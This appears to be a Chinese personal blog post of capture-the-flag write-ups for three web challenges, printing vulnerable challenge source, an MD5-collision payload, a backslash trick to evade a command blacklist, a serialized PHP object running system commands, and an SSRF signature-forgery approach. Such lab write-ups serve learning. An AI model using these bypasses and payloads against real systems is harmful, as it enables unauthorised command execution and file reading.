buuctf7

[安洵杯 2019]easy_web

看到img的后面像base64,解密两次后再经过hex解密,得到一个文件名称,于是尝试读取index.php源码,
hex->base64->base64

抓包在cmd上做手脚,发现传入数组类型的时候,有回显array,这个时候总觉得有点函数嵌套那味了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

又是md5的事情,直接进了

md5碰撞:

1
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&=

在linux系统中:

1
2
3
cat /flag
ca\t /fla\g 是等价的
为什么等价呢?在linux系统中这个反斜线可以使命令换行,和我们之前的题目是一个意思啦。。。

[网鼎杯 2020 朱雀组]phpweb

页面一直在刷新,路径也知道了,先抓个包看看,发现可以提交表单,然后用了call_user_func这个危险函数:
call_user_func — 把第一个参数作为回调函数调用
使用file_get_contents查看index.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

果然在一条路上卡太久应该积极转化思路,当我苦苦搜素手册无果的时候,最终选择打开了wp,原来可以利用反序列化来解题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "cat $(find / -name flag*)";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
print(serialize($a));

这里有一点需要说明的是,eval不是函数所以这里的call_user_func就不适用了,所以选择system来构造payload,不过这个拿到flag的语句也是让我眼前一亮

[De1CTF 2019]SSRF Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
#python这里应该指的就是使用的函数吧,按照这个逻辑下去,首先是action、然后是param。。。。
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
#在上面对赋值完成的内容传入Exec中进行执行
def Exec(self):
result = {}
result['code'] = 500
#使用checkSign(),进行跟踪看看
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')#真的读取点在这!
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
#来到这里,使用getSign()函数,看看是否和self.sign=sign相等
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

#generate Sign For Action Scan.
#万物的起点在这里!!!!!!
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
#这里进行和秘钥的拼接后md5的加密传回值
return getSign(action, param)
#万物的起点还有这里!!!!!!
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
#这里是从cookie传回sign
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
#有个waf
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
#这里!!!!!!,以下就是我们的初始页面了
@app.route('/')
def index():
return open("code.txt","r").read()
#这里来个分割线
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]#感觉这里可以读文件来着
except:
return "Connection Timeout"
#对传入的内容也就是secert_key+param+action进行加密
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
#来到md5进行加密,并返回值
def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

python代码审计:
在python2.7中跑,想说用debug了解一下整个代码的运行逻辑,但是跳来跳去的,实在看不明白,可能是由于都是由def的函数形式,所以打算去看看如何审计此类代码:
大概进程就是如上所示,接下来要考虑的就是漏洞在哪里,思路都写在上面了,现在传值看看:没有反应,密钥都没有我传个鬼–,学习了路由的知识后,发现其实不止index.php一个入口还有geneSign 还有De1ta入口,这里

img

根据提示,传入flag.txt查看到密钥

1
1ae9809211e47b0157b8ea5a0f0b8f55

(这里不是很懂为啥能查看到密钥?也没有相关代码呀,是我看得不够仔细吗),被wp给误导了,其实也不算误导,应该是我理解错了
这里重新理一下思路:其实这里主要绕过的就是一个checksign函数和一个waf函数
check函数需要比对的内容是将param和action以及密钥进行拼接,再与我们传入的sign进行比对,但是问题在于,我们没有密钥,所以解题的关键就在这里,我们知道flag在flag.txt文件中,而在genesign中 如果我们传入flag.txt那么返回的内容即为
secret_key+flag.txtscan的md5加密,但是后面的action只能是scan会不会有影响呢?其实不会的,因为这也是我们所需要的,进入到exec函数中,其实有两个判断,一个是read一个是scan,当我们在scan前加上read,那么判断就会进入read当中,即可使用read()函数打开flag.txt了
救命,终于有不一样的回显了!
img

img 最终payload
Author

vague huang

Posted on

2021-04-08

Updated on

2021-04-10

Licensed under

Comments